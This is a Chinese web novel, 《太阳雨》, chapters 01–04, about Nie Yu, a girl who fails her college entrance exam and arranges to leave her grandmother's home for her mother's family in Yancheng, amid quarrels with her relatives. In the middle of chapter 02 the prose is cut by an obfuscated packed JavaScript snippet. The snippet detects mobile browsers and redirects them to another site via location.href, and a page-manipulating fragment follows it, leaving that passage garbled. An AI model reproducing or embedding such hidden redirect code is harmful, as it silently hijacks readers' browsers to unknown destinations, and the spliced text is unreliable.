《太阳雨》 1. 01-02 -01- 电话打到镇上的时候,聂宇正和姑姑家的那对双胞胎表兄妹林天天林乐乐在山脚下的一条小溪边捉鱼。旬城的八月末,到了午后四点钟的时候已经有了些许凉意,但聂宇还是躲在溪边的凉棚里,手里拿着一把蒲扇,有一搭没一搭地扇着风。 表弟林天天看她在一旁闲适地快要睡着的样子,有些气不打一处来,用手掬起一捧水往她那边泼了泼。大约有那么几滴落在了她的身上,聂宇对此的反应是翻个身,继续扇,继续睡。 林天天彻底无语了,走过去想要强制唤醒她一起来捉鱼,半道被看不下去的妹妹林乐乐给拦住了。 “毛毛姐从小身体就不好,到了夏天就怕晒,你就让她躺着嘛。反正这不是有我在给你帮忙。” 聂宇,大名聂宇,小名小羽毛,被家里这些小辈亲切哦不敷衍地称之为“毛毛姐”。一开始她还抗议过,后来发现她越表现的在意这些坏孩子们越来劲,便就随他们去了。 “这会儿天都阴了,都快要落雨了,哪里还能晒到她。你别老惯着她了。”林天天指着头顶上的天不满道。 “那你更不用叫她了,落了雨咱们正好回去了。”一顿,林乐乐又压低了几分声音解释道,“我这也不是惯着她,最近城里好多大学不是开学了嘛,毛毛姐的心情肯定不好,你就别招惹她了,让她清静一会儿。” 林乐乐很体贴地表示,而林天天听到这话,也罕见地没有立刻回嘴。 聂宇是今年的高中毕业生,并如期参加了高考。但因为缺考一门加生病发挥失常,最终落榜了。八月末九月初是很多大学开学迎新的时候,奶奶谢静芳怕她触景伤情,便让她来乡下姑姑家里散散心,躲一躲。但其实,该来的还是会来,连这对刚满十五六的双胞胎都知道。 “暑假都快结束了,咱俩都要开学了,她还没接受这个事实呀?”语塞几秒,林天天终究还是没忍住,瞅了聂宇一眼,低声跟妹妹说。 而他最后一个话音刚落,聂宇便又翻了个身,忽的从藤椅上坐了起来。林天天被吓了一跳,转过身继续捉鱼,假装很忙。 其实聂宇压根儿没睡着,所以此刻的她看上去很清醒。她摇着扇子对林乐乐笑,假装没听到他们兄妹俩说的小话。 然而林乐乐却是不避讳的,她走过去挤在聂宇身边,甜甜地说:“毛毛姐别不开心了,你学习那么好,再来一年肯定会高中的。今年、今年这是有特殊情况。” 林乐乐说到最后声音含糊了一些,聂宇假装没发现,摸了摸她的头发,感受着同她肢体相接时的热度,说:“承乐乐吉言了,但再来一年不是那么容易的。” 聂宇其实不太想跟弟弟妹妹们谈这个问题,但确实这也是她最近最大的烦恼,不是可以随便无视的。 林乐乐没太明白聂宇的意思,在她看来整个聂家最受姥姥谢静芳宠的就是她这个表姐了,再加上读书又是好事,她想再来一年的话姥姥会不答应? 林乐乐想再问,眸光一抬,意外地看见妈妈聂传溪双手撑着腰在向这边跑来。 聂宇也留意到了姑姑的身影,她不由起身,快走几步向她迎了过去。 “小宇,你奶奶从城里打电话过来了,说是让你赶最近的一班车回去。”聂传溪上气不接下气地说,喘了几下后,又说,“你燕城的舅舅来了!” 一怔后,聂宇眸光一凛。 不错,该来的总会来,无论早晚。 - 旬城市老城区的一间老旧的三居室内,此刻正乌泱泱地盛满了七八个人。谢老太谢静芳端坐上首,两个儿子各携家带口地局促地围坐两侧,唯一一个还算自如的,反倒是来做客的蒋云鹏。 看着蒋云鹏与前小儿媳蒋云清那张肖似六七分的脸,谢静芳的心情有些复杂。她叮嘱大儿媳泡了一杯她私藏在碧纱橱里的茶,端给蒋云鹏品荐,见他面色如常地喝下去,又在心中叹了一口气,心想自己尽力了。差距就摆在这里,她也不必勉强自己非去撑这个排场。 “云鹏,蒲县那边刚打来电话说小宇还要半个多小时才能回来。你是先休息下等她回来说,还是——” 既是聂宇的亲舅舅,上门来肯定是找她的。谢静芳最为家里人不满的一点就在于此,太体面,太讲规矩。虽说是她一手抚养聂宇长大,但也不会越俎代庖,别人不想她知道的事,她一句也不会多问。 “事情是小宇的事情,但若想办成,肯定要听下您老人家的意见,我想小宇应该也是这么想的。” 蒋云鹏此话一出,既全了谢静芳的威严,也满足了其他人的好奇心。果不其然,聂宇的大妈王盈和二妈李菲,听到这话脸色好看了不少。实在是蒋云鹏是难得的稀客,传说中的无事不登三宝殿,她们可太好奇他此行来旬城,来聂家的目的了。 - 说起聂家,其实原本是旬城最普通不过的一户人家了,直到后来娶进来两个女人。 第一个必然是谢静芳,资本家私生女出身,战乱年代嫁给了大字不识的丈夫聂榔头,生下了三子一女。这样的搭配,放在当初那个年代是极其少见的,却是带着病母流落至旬城的谢静芳最好的选择。而丈夫也没有辜负她,用一双勤劳的手养活了一家五口,又用坚定的心智和灵光的头脑,护着她躲过各种时代的洪流,安稳至今。 第二个则是聂宇的母亲蒋云清。她是燕城大院子弟出身,放在外人眼里最根正苗红不过,跟婆婆谢静芳简直是两个极端。然而不幸的是,在蒋云清刚成年不久后,她的家庭从上至下被卷入了一场风暴当中,她被风尾扫过,被迫下乡来到了旬城农村,并在那里结识了聂宇的父亲,聂传江。 说起聂传江,那是谢静芳毕生最得意的作品,是她最喜欢的一个孩子。而聂传江对母亲的感情也很深厚,所以才选择家附近的农村去插队,以便就近照顾母亲。没想到,这是他做的第二错误的一个选择,第一是娶蒋云清。 对于蒋云清,聂传江称得上一见钟情,却从没奢望过可以拥有她。所以他们之间后来发生的一切故事,其实都缘于蒋云清的主动。聂传江并不晓得蒋云清为什么会看上他,他为此明里暗里问过蒋云清无数次。而每一次,蒋云清的回答都是:因为你是个好人。当初聂传江听了这个回答后暗自窃喜了许久,谢静芳任由他享受了一阵这虚幻的幸福,才点醒他,说:蒋云清跟当初的她一样,是没有别的选择了。不同的是,她当时做好了一辈子留在旬城,留在丈夫身边的准备,而蒋云清并没有。 聂传江为此备受打击,挣扎了许久后,还是选择饮下蒋云清这杯毒酒。母子俩为此冷战僵持了大半年,最后以谢静芳的妥协告终。她答应聂传江跟蒋云清结婚,心想或许是她太过自我代入,影响了对蒋云清的判断。可最后这段婚姻的结局,除了再一次证明了她的睿智,也验证了那句古话:当局者迷,旁观者清。 在嫁与聂传江五年后,蒋云清的父亲得以平反,蒋云清以“另有所恋”为由,苦求聂传江放手,留下他和女儿聂宇回了燕城。而聂传江,则在蒋云清离开三年后,牺牲在一场厂房的大火中。除了微薄的抚恤金外,只留给聂宇一具烧焦的尸体。 - 随着聂宇渐渐长大,这些旧事都已经被堆放在时光深处,慢慢落满了灰尘。偶尔翻拣出来,也不过是作为一个引子,引出其他话题罢了。就比如此刻,聂宇的大妈二妈迅速在心里过了一遍这些旧事后,得出一个猜测:蒋云鹏大约是受蒋云清的嘱托来的,至于蒋云清为什么突然这么做,大概也是听说了女儿聂宇高考落榜的事。 谢静芳此时也同两个儿媳想到了一处,不由微蹙一下眉头,问道:“是不是想谈小宇高考落榜的事?这件事其实是有原因的,这孩子平时学习还是很好的——” 蒋云鹏闻言稍有一些意外。不是为了聂宇的高考落榜,而是为谢静芳此时所表现出的明显一无所知的模样。 “小宇没跟你们提吗?”他有些疑惑地打断谢静芳反问道,“我这次来是接她回燕城的。” 谢静芳愕然:“……回燕城?” 自蒋云清离开之后,除了每逢农历新年打过一两通电话外,她就再也没管过聂宇。而自从她十年前再婚之后,甚至连这可怜的两通电话都没有了,还是蒋家老爷子蒋铸偶尔想起她这个外孙女,会让秘书或者蒋云鹏在顺路的时候过来看她一两次,除此之外并没有多余的关心。 谢静芳对此毫不意外,在她的心中,聂宇完全是她聂家的孩子,跟远在燕城的那姓蒋的一家子已经毫无瓜葛。所以在听到蒋云鹏突然丢出的这句话时,谢静芳首先涌上心头的感觉是愤怒。 “你这话是什么意思?”她按着椅子的扶手,要站不站,“你们,你们是想——”抢孩子? 一旁坐着的老大老二两家也反应过来,皆是表情不善地向蒋云鹏看过去,看得他没忍住打了个颤。意识到这其中可能有误会,他连忙解释:“我不是来抢小宇的,是她主动提出要回燕城去的。”一顿,“上个月录取结果出来之后,聂宇去了趟照山,在那里见到了老爷子。她亲口向他提的,要他接她回去。” -02- 蒋云鹏的话,让聂家的客厅陷入了足足好几分钟的沉默当中,空气犹如凝滞了一般。直到聂老二聂传海小儿子手中拿的玩具啪嗒一声掉在了地上,才打破这令人窒息的氛围。 “你是说是小宇主动提出回燕城的?这怎么可能?”说话的是聂宇的大伯,按旬城习俗也叫大爸,聂传洋。 “是呀,别是你们蒋家找的借口吧,见我们小羽毛长大成年了,就想着要回去了。”大妈王盈阴阳怪气地质疑了一句,不过并不全是出自聂家的立场。身为聂家的大儿媳,她私下里一直跟丈夫抱怨,觉得婆婆坚持要养着聂宇给整个家里增添了很大的负担。现在好不容易养大就有人要来摘桃了,她自然不乐意。 “大嫂,瞧您这话说的,我们怎么会做这种事呢。”蒋云鹏有些哭笑不得,他看了眼阴沉着脸不发一言的谢静芳,说,“这样吧,等小宇回来了,您们亲自问问她。” - 此刻正坐在进城路车里的聂宇并不知道家里发生了什么,她只一径地看着窗外,不知在想什么。 旁边是受聂传溪所托送她进城来的双胞胎兄妹俩,车上人多,他们只得挤挤挨挨地坐在引擎盖上,感受着手掌下传来的突突声和炙热感,林天天兴奋地与妹妹林乐乐分享。 林乐乐却顾不上搭理哥哥那幼稚的快乐,她有些担忧地凑近聂宇,问:“毛毛姐,你舅舅怎么突然来旬城了,是有什么事吗?” 聂宇停顿了几秒,才扭头看林乐乐:“不知道呢,或许是听说了我高考成绩不好,来训我的。” 林乐乐天真地信以为真,神情越发担忧了。 半个小时后,林氏兄妹将聂宇送到钢厂家属院的大门外,习惯性地不再往前多走一步。这也是受聂传溪的影响,自多年前跟大嫂王盈吵过一架之后,连带着丈夫孩子和她都没再登过这里的家门一次。每次无论是谁送聂宇从乡下回来,都是止步在此。 聂宇回过身,盯着比林乐乐高出一头的林天天看了一会儿,忽然叹口气,说:“以后不要再随便欺负乐乐了,她是大孩子了,你也是。” “我什么时候欺负她了……不是,你干嘛突然说这话!”林天天果然有些莫名其妙。 聂宇没再搭理他,只是将一卷东西塞进了林乐乐的手中,说:“不想吃你大爸家的饭就找个喜欢的饭店吃饱了再过去,另外你要盯紧林天天,别让他乱跑,明天一早就赶紧坐路车回家。” 事出突然,此时已经没了回程的路车。来时聂传溪有给兄妹俩安排今晚的住处,也给了一些零钱傍身,林乐乐不明白聂宇为什么还要给她塞钱,而且一塞就是……两百块! 林乐乐简直惊呆了,等她数清钱数抬头再去找聂宇时,哪里还能寻见她的身影。 - 此时,疾步走到楼梯单元口的聂宇有些狼狈。她停下脚步,回头隔着重重家属楼向早已望不见的大院门口看了一眼,深深做了个吐纳,才抬步上了三楼。 门开后,里面照旧是乌泱泱的人,只是每个人的表情看上去都有些沉重。对于她的出现,反应最快最高兴的居然是舅舅蒋云鹏,他像是终于等来了救星一般,一等她进门,就放下了手中的茶杯,起身迎她。 “小宇回来啦。”蒋云鹏笑着说。 “舅舅,您来了。”撇了眼蒋云鹏肩章上那熠熠闪光的几颗星,聂宇微笑着同他找了个招呼。之后她乖巧地看向奶奶谢静芳,发现她正垂着双眸,紧抿着嘴唇看着地板,似乎丝毫没有搭理她的打算。 聂宇心里不由得一咯噔,心想奶奶应该知道了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353327|183589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“小宇啊,我听你舅舅说你想回燕城了,还主动让你姥爷派人来接你?” 挑破僵局的依旧是王盈,她是家里最忍不住的人。问完之后见聂宇一时没有回答,便又继续嘴快道:“不是大妈要说你,这里好歹是生你养你的地方,你真要是想走也不该瞒着咱们,让咱们最后才知道。” 王盈的指责说进了每个人的心里,众人看聂宇的目光都微微含着一些不满。而聂宇在抿了抿唇后,只看向她的奶奶谢静芳,此刻老太太已经抬起了头,神色复杂地对上了她的视线。 “你跟我进屋。”几秒后,老太太撂下话。 - 回到屋内,关上房门一转身,聂宇就对上奶奶迫人的视线。 “你跟我说实话,回燕城到底是不是你的主意?” 谢静芳急切地问,已经懒得再装。而聂宇再镇定也不过是个还不满二十岁的小姑娘,当下心里有些慌,说道:“是,是我跟姥爷提的,让他接我回燕城。” “这么说,上个月你借着跟苗淼去南边玩儿,其实是去照山疗养院见你姥爷了?” 谢静芳再度追问,眸中竟然盈上了一层水光。聂宇见状,只得也点了点头。 因为高考失利,怕孙女整天待在家里郁结不已,谢静芳就提出让她出门走走,看看外面的大好河山散散心。正好聂宇高中时最好的朋友苗淼要跟她哥一道去南方耍,谢静芳就提议让他们三人结个伴。聂宇一开始不答应的,因为知道出去这一趟要花不少钱。可后来不知道怎么想通了,便松了口,去南边待了半个多月的时间。 没想到真相竟是如此,谢静芳沉默好一会儿,看着聂宇道:“好,好啊,你长大了,有自己的想法了,我竟管不了你了!” 聂宇哪里听不出奶奶话中的失望和责怪之意,她鼻尖跟着就酸涩了,说:“我不是想回燕城,我只是想复读考大学,所以我——” “想复读在旬城不能读?”谢静芳打断她的话,“我不是已经让你大爸给你找人了?为什么要大费周章跑到燕城去,还要瞒着我?”一顿,“你急什么!” “因为我不想您再为我费心,为我向大爸大妈低头,受他们糟践!”聂宇脱口而出道,话音落下的那一刻,一颗泪珠也跟着滚出。 谢静芳瞠目半晌,失声斥她道:“你这个孩子,你胡说什么!” “难道不是吗?”聂宇平静下来,一字一句地反问,“自打我高考成绩出来之后,听了大妈多少冷言冷语?当然,这个成绩是我自己考的,苦果活该我受着,可她凭什么拿我来逼您?” “大妈她私下里提过让您跟大堂哥换房间了吧?说咱们现在住这屋敞亮空间大,以后大堂哥结婚了不愁没地方?可这房子是您的呀,她们才是借住者,凭什么要把您赶出去?” “还有您说的大爸替我找人的事,大妈借着这个向您要过多少次钱了,大爸私下有管过吗?他有把这钱用在正事儿上吗?我倒是看见大堂哥的对象最近新衣服添了一套又一套,这钱又出在哪儿?凭我大堂哥的工资他买得起吗?” “还有我二爸二妈,平常不吭声,私下里躲在大爸大妈背后没少打您和我的主意。我之前也是怕您伤心没跟您说,二妈撺掇大妈给我介绍对象呢,就是她娘家那边的亲戚,所以奶奶,您说她是真的想让我复读吗?她是想把咱们压榨到榨不出一滴血的地步,再把我们踢出去呢,我怎么能让她们得逞!” “……” 谢静芳知道这个家里存在着这样那样的矛盾,可一旦被血淋淋地摆在明面上,她竟然有些受不住。 “是我没用,是我……”谢静芳恍惚低喃道,“我竟教出两个自私自利的畜生……” “不是的,奶奶。”聂宇不愿见她这般痛心自责,颤声说,“是我,都怪多出了我这个累赘。小时候养我只不过是多添一副碗筷的事儿,随着我渐渐长大,有了自己想要的,养我就不那么容易了。这些我都明白,也知道该怎么做才能讨大爸大妈他们喜欢,但我不想一辈子这样活着……” 所以她就想出了这个办法,既让谢静芳没了掣肘,也使自己脱离了两个伯伯婶婶的威胁和压迫。代价是,要离开她从小长大的城市,离开她相依为命的奶奶。 早在出发去照山之前,聂宇已经心碎一回了,现在真把这一切说出来,心痛的感觉居然更甚。 “可你去了燕城就好了?”谢静芳想起什么,微红着眼睛反问,“你奶奶我还没到老糊涂的地步呢,既然知道了他们这些打算,肯定不会再由着他们糊弄欺负。而且我也没你想的那么脆弱,再负担你读一年书的压力我还是顶得住的……” “可我不想再这样。”聂宇心疼地看着谢静芳说,“再过几个月您就要七十岁了呀,我不想您再这样左右为难地活着。至于燕城,那是他们欠我的,我只要他们还这一年,已经很仁至义尽了。我跟蒋云清,毕竟还没有断绝关系。” 谢静芳一听她这样说,就知道她想的简单了,也微微有些赌气。可蒋云清毕竟是她的亲妈,再婚后也没有所出,如果聂宇打定主意要她偿还这些年欠下的母女情,体面如她许是真的不会拒绝。只是她的心会痛啊,她当初留聂宇在身边,不是为了让她有朝一日上蒋云清面前乞讨的。 “小羽毛,我的小羽毛啊……”谢静芳只要一想到她在蒋家人面前低声下气的样子,就心疼。眼泪当即落了下来,几乎泣不成声。 聂宇见状,觉得自己必须说点什么来安慰奶奶了,也让她知道自己去燕城这个选择并不是全然被迫。于是她一擦眼泪,摇了摇谢静芳的胳膊,说:“奶奶,其实我也不全是冲着蒋家去的。您也知道燕城那边是大城市,有很多咱们这儿没有的东西。我之前听……说,燕城那边很多人家都装了电脑,用起来可方便了。而我将来的高考志愿其实也跟这个有关,所以想提前过去接触这些资源,为以后做准备。奶奶,我不想困在这里,但又不能立刻带您一起离开,所以只能我自己先飞出去……” 谢静芳此刻已经恢复了平静,她用长满老茧的手轻触聂宇秀气的额角,声音低哑怜惜地说:“就是那个长得像电视一样的家伙?你之前在高考的前几个月频繁跟殷凡来往,也是因为这个吧……?” 谢静芳终于在聂宇面前提起了“殷凡”这个名字,因为他可以说是导致她高考缺考一门从而全盘崩塌的直接原因。 2. 03-04 -03- 聂宇安静了一瞬,低低“嗯”了一声。谢静芳目光在孙女白净的脸上流连,一时也不知该说什么。 若说在过去这短暂的近二十年人生中,有哪个除了家人之外的男人给聂宇留下了较为深刻的印象,非殷凡莫属。但这并不是她主动的,而是殷凡强加于她。 这个比聂宇小近一岁的男孩儿是她的同班同学,普通长相,个头不高。在高三之前他们两人是没怎么说过话的,直到一次课外活动时偶然留意到殷凡在跟另外一个男生谈电脑相关的话题,聂宇凑近听了一会儿,并与他们交谈了几句。 三个人当时聊得很愉快,殷凡便主动提出让他们两个去他家里摸一摸电脑,要知道他家里不光有这家伙,还是很少见很贵的笔记本电脑。另一个男生当即就同意了,聂宇便也没有忸怩,随他们一同前去。 从那之后,有什么跟电脑有关的东西,殷凡总邀请聂宇和另外一个男生一起去家里分享和感受。久而久之他们两人便熟了,能在那个男生没空的时候还约着一起去殷凡家里,玩电脑,读杂志,写作业。在当时的聂宇看来,她跟殷凡是关系还算不错的同学和朋友,殊不知经过这段时间的相处,殷凡已经深深地喜欢上了她。快到高考前夕的时候,聂宇终于有所察觉,但因为一时不想放弃接近电脑和相关信息的机会,她没有及时止步,这就间接导致了后来悲剧的发生。 在高考的前一天,殷凡逮到机会向聂宇正式表白了。聂宇拒绝了他,说对他并无男女之情,但可以跟他做一辈子的好朋友。当时她说这话是认真的,并不只是贪图殷凡能带给她的那些便利,而是真心觉得他是个可以相交的人。但殷凡却大受打击,回家之后一个没想开,当晚就吃了安眠药。 聂宇至今不知道自己对殷凡的影响有那么深刻,他生来带有遗传病,身体孱弱,个头也长不高。因为这个,走哪儿都遭嫌弃,尤其是女生。聂宇是为数不多的与他交好的漂亮女孩儿,他喜欢上她再正常不过,在被她拒绝之后,人生中所遭遇过的所有屈辱都一下子涌上了心头,使这个敏感的少年一下子没撑住,觉得未来无望,便生出了轻生的念头,还付诸了行动。 聂宇是在去考场的路上得知的这件事,殷凡的母亲拦住了她,对她破口大骂,甚至还要拉她去公安局,让她进监狱。聂宇当时全懵了,等家人和警察赶过来解救了她之后,第一场考试已经完美错过了,聂宇强忍着没有崩溃,在经过奶奶一中午的安抚之后,撑着去参加了下午的考试。 但她到底还是年纪小,承受不了一个人因她而求死,当晚就做噩梦发起了低烧。第二天去参加剩下的科目的时候,整个人都是晕的,试卷答的一塌糊涂。等最终成绩出来的时候,聂宇看着那刺眼的分数,觉得这一切或许都是她的报应,她真不应该抱有那一点点侥幸的心理,放任殷凡对她的喜爱。 至于殷凡,因为吞下的药物剂量不算大,在经过几轮洗胃之后,成功地被救了回来。但今年这次高考他是彻底没戏了,家人怕他后续再想着去见聂宇再受刺激,便瞒着所有人将他转到了省城一家医院。所以说从高考结束到现在,聂宇还没见过殷凡一面。 — 回想起这件事,祖孙俩的心情都有些沉重。而谢静芳在感慨过后,也知道她大约真留不住孙女了。她给了她一个自己难以拒绝的理由,那就是她的梦想。曾经为了这个,她即便意识到不妥,也还是没有立刻远离殷凡。 “奶奶……”见谢静芳再度陷入了沉默,聂宇不太放心地唤了她一声。 谢静芳收回思绪,将视线落在孙女身上,唇瓣颤动了几下,最终只说出一句话:“算了,先出去吧,别让你舅舅久等。” - 卧室门吱呀推开的那一刻,吸引了客厅里所有人的目光。 别看聂宇和奶奶在里屋争得激烈,但俩人心中都有数,声音始终压得很低。祖孙俩究竟谈了什么,屋外的人从始至终一无所知,所以才如此好奇。 谢静芳的目光从众人身上逡巡而过,最终落在了蒋云鹏身上。 “云鹏,今天的事对聂家所有人来说都有些突然,不如你先回去,等我们商量出个章程,再看看往下如何办。” 蒋云鹏的表情有些迟疑,他这趟是临时抽空过来旬城的,实在没有太多时间耗在这里。但见老太太表情坚决,他也晓得今天这事儿是确实办不成了,只得先应下,瞧了聂宇一眼,起身离去了。 大门又关上后,聂家众人顿时松散了筋骨,稍稍沉默几秒,开始七嘴八舌地谈论起今天的事来。 “妈,你可要好好跟小宇说说,这燕城回不得,别让她一时打错了主意。” 王盈捶着僵硬的肩膀随口同谢静芳说道,换来老太太严厉的一瞥。 “这事儿还轮不到你多嘴!” 丢下这句话,谢静芳又回了卧室,嘭地一下关上了门。客厅众人震惊不已,你看看我我看看你之后,都不明白老太太这是突然发的什么邪火。毕竟王盈这话也没说错,孩子闯出这么大的祸还不管管吗? 同被关在门外的聂宇,回头看着紧闭的房门,心里十分不是滋味。她知道,这一次是真惹得奶奶伤心了。 - 这一晚,聂家众人皆是难眠。被婆婆当众下了面的王盈第二天一早更是连饭也没准备,还是聂宇和大堂哥聂杰英一起从外面买回来的。 聂杰英是今天早上出差回的旬城,早已从母亲那里知道了昨天发生的事,除了感到惊异之外,他对聂宇的决定是百分百地赞成。 “出去这一趟我算是明白了,待在旬城这个小地方是没有任何前途的。你走吧,等你在外面闯出名堂了,哥去找你。”在俩人一起去打水的路上,聂杰英如是说。 聂宇没吭声,知道他这话半是真心半是在逗她。她只是忽然觉得这去水塔的路怎么变得这么长,好像怎么走也走不完。 “毛毛姐!” 在经过前院的时候,聂宇忽然听到像是有人在唤她,循声望去,竟是林氏兄妹。两人还穿着昨天那身衣服,立在大门后探头探脑的,仿若作贼。 果然,一向跟他们不对付的聂杰英立刻开口嘲讽道:“你俩作贼呢,有话进来说啊。” 林天天闻言就要回嘴,被林乐乐制止后,装作无视他,对聂宇说:“毛毛姐,你过来下吧,我们有事儿找你。” 聂宇知道俩人的忌讳,抬脚要走,想起什么,又回过身把桶递给了聂杰英。 “哥你先去打水吧。” 聂杰英不知道默默咒骂了句什么,但还是接过了桶。 “赶紧回来啊,今天用的水多,我一个人搞不定。”说着又抱怨起大周末停水,表情看上去甚是不爽。 聂宇没接他的话,等他人走远了,才快步去了大门口,问林天天:“你们怎么还没回去?跟姑姑打过电话没?” “打了打了。”怕她着急,林乐乐忙说,“毛毛姐,我们是来还你钱的,你昨天给我们的,实在太多了。” 林乐乐从口袋里掏出一卷纸币往聂宇面前一递,竟跟她昨天塞给她的时候一模一样,原封未动。 聂宇语塞了几秒,抬眸看向林乐乐:“我给的钱你们一分没用呀?” “我妈给我们钱了,用你的干嘛。”林天天不以为意地接话,“快收回去吧,没事儿别随便往外掏。” “……” 虽然林天天的话不中听,但聂宇知道,两个孩子这是不愿意拿她那么多钱。也怪她昨天急了,以为以后见面不易,所以一下子给出去了那么多。 “你倒是懂事了。” 聂宇调侃表弟一句,赶在他回嘴之前,又对表妹林乐乐说,“收着吧,马上就要开学了,用钱的地方多着呢。” “那也用不了这么些呀。”林乐乐笑,“再说说到上学,毛毛姐你不是要复读吗,到时候肯定比我们更需要用钱。” 聂宇看着她往自己的外衣口袋里塞钱,然后又从林天天的手里一把拿过来一个黑色的塑料袋子,递给她说:“这是我大爸从山里摘来的石榴,可甜了,毛毛姐你拿回去和姥姥一起尝尝。” 聂宇沉默地看着面前的兄妹俩,心里感到一股酸涩。在聂家这个大家庭里,能让她喜欢和惦记的人不多,除了奶奶谢静芳以外,就是姑姑这一家了。当初姑姑和大妈王盈吵的那一架,说到底实则是为了她,当时年幼的她还不知道如何表达感激和感谢,但姑姑从未在意过,像疼亲女儿一样疼她。而天天和乐乐在父母的言传身教下,待她也像亲姐姐。尤其是乐乐这个可爱的小姑娘。 “乐乐,如果以后我们不能经常见到面了,你会想我的吧?” 聂宇突来一问,让林乐乐有些懵,一时没有回答。倒是向来大大咧咧头脑简单的林天天,听了之后立马噗嗤笑出了声:“想你干嘛,说是不常见面,到时候忍不了一个月又哭着喊着要来乡下的人不知道是谁呢,哼。” 聂宇微笑看着林天天,没有说话。她知道,自己这趟若是真能离开旬城,怕是就不会再经常回来了,她只等着在外站稳脚跟,到时把奶奶也接走。但姑姑一家人她是会时常怀念的,而且她也相信,他们会有再见的一天。 “乐乐,你看你哥。” 假装不满扮委屈,聂宇成功引得单纯的林乐乐去训哥哥了。而她也在兄妹俩的拌嘴声中,渐渐消化了从昨晚积到现在的郁结,整个人都松快了一些。 -04- 度过忐忑未知的两天之后,聂宇终于听到谢静芳指示大爸聂传洋,让他联系蒋云鹏所住的招待所,请他到家里来一趟。此举,不出意外地引得家里炸开了锅。 这次是二妈李菲冲在前头问老太太到底是何打算,皆被谢静芳挡了回去。她老人家似乎打定了主意,在蒋云鹏到来之前不会说一句话。 傍晚七点,蒋云鹏准时赶到聂家,迎接他的除了聂家众人外,还有一大桌子菜。对此他略有些意外,但情绪管理得当,没有泄露半分。 “云鹏,大前天你来家里提的事,我们全家已经商议过了,同意你带小宇走。” 几杯酒下肚,谢静芳定定地说。身旁众人除了聂宇和蒋云鹏这对舅甥外,皆是讶异地看着她,纷纷乱乱地喊着“妈”和“老太太”。仿佛谢静芳忽然犯了老糊涂一样,需要他们来叫醒她。 面对这个场面,聂宇不语,蒋云鹏却是有一些尴尬。 “老太太,我想这里面是不是还有些误会,并不是我们非要带小宇走,而是小宇她自己……” 言下之意,这事不是他们蒋家主动的,更用不着她摆出“同意”的姿态。 谢静芳眸中轻闪过一道光,“哦?既然如此,那需不需要我再给小宇姥爷打个电话,确认一下这件事。你毕竟也——” “不用,不用不用。”蒋云鹏反应过来,赶紧制止,额头险些冒出汗来,“我的意思是,怕您误会是我们执意要带走小宇。当然,如果小宇愿意去燕城,我们全家也十分欢迎,以前接的少也是怕路程远耽误她学习……” “……哦。”半晌,谢静芳又应了一声,这回便有些意味深长了。 她能不知道这件事是哪边求着哪边吗,但她偏要颠倒主次,为聂宇赢得几分主动。至于真要给蒋铸打电话,她也不惧。战争年代走过来的人,虽说十分铁血无情,却也足够体面大度,不会计较这些细节。她就是吃准了这一点,要占蒋家这一点便宜。试问,谁家外孙女去姥爷家要用“求”这个字? “那就这么说定了,您定个时间,我那天准点来接小宇。”蒋云鹏破天荒地为谢静芳斟了一杯酒,坐下后满心庆幸。甭管事实如何,若真让谢静芳告到老头子那里,回去可有他的好果子吃。 “就这两天吧,小宇东西不算多,收拾起来也快。只是——”谢静芳又停顿了一下,钓的蒋云鹏的心又提了起来。 “只是有几句话我还是要说在头里的。”她看了孙女聂宇一眼,又认真严肃地转向蒋云鹏,“小宇打小在我身边长大,虽说我们家里条件有限,却也是尽量不让她受委屈的,去了燕城之后——” “老太太,您放心,您是小宇的亲奶奶,那我还是小宇的亲舅舅,我爸还是她的亲姥爷呢,怎么可能让她受委屈!肯定跟在您身边一样!”蒋云鹏大手一挥道。 “……”谢静芳没有接话。她听得出来,哪怕蒋云鹏再大包大揽,也不曾提及聂宇亲妈蒋云清一个字。而这个人,按说是孩子到了燕城之后最亲的依靠啊。 “那还是不一样的。”谢静芳平静地说道,“我只对你们有一点要求,可以教她,实在不行也可以训她两句,但不能伤她的心,更不许打她。我的孩子我知道,懂事有分寸,不是会胡来的人。如果你们做了过分的事,我豁出去这张老脸不要,也会替她讨回公道。” “……怎么会呢,老太太。”蒋云鹏声音低了几分,因为他听出了谢静芳的决绝,不好再打马虎眼。 “是不会。”一阵有些尴尬的缄默后,谢静芳说道,呼出一口气后,声音又带上了些笑意,“只是我这人喜欢把丑话说在前头,这在你们这些带兵打仗的人那里叫什么来着?哦,先礼后兵……” “是,是,你老是爽快人。”蒋云鹏又给老太太倒了杯酒,谈笑间,终于将这最艰难的一页揭过。 - 晚间十点,宴席结束,宾客众散。聂老大和聂老二亲自送蒋云鹏下楼,聂宇则跟着大妈二妈进了厨房收拾残局。 “要我说老太太这胳膊肘真是拐到后脚跟去了,闯出这么大祸,还当着所有人的面儿夸她乖,这不是开玩笑嘛。” “可不是嘛,再惯孩子也不能这样啊……” 大妈二妈旁若无人般抱怨着,聂宇听了一声不吭,手下狠狠地刷着锅底灰,在心里默默地告诉自己:还不到时候。 “小宇,我跟你二妈去房里说点事,你把这剩下的刷了哈。” 两人本就是说给聂宇听的,见她木头一样没有一点儿反应,也稍微觉出了无趣,打算回房说点妯娌间的私话。熟料这话刚落下,未等聂宇回答,谢静芳的声音就从厨房外传了过来—— “她才多大点,你把这摊活儿都丢给她,到时候磕碰了几个碗盘,算谁的?” 谢静芳走过来,冷着脸看着大儿媳王盈。 “妈,我这不是累了么!从早上起就忙活今晚这顿,到现在还没休息过呢,您说这都是为了谁,让她干点活儿还不行吗?” 王盈眼看着憔悴,李菲也在装模作样地捶背,谢静芳见状表情和缓了些,说:“让杰英出来帮你干,小宇过两天要走了,我还有话要叮嘱她。”说着目光转向聂宇,“你跟我进屋。” 聂宇其实不在乎刷这些碗盘,但她不能在明知大妈二妈不怀好意的时候,还当着她们的面儿反驳谢静芳。于是便放下了碗刷,搀扶着老太太,回了祖孙俩的房里。 “小宇,你是不是已经猜到了,奶 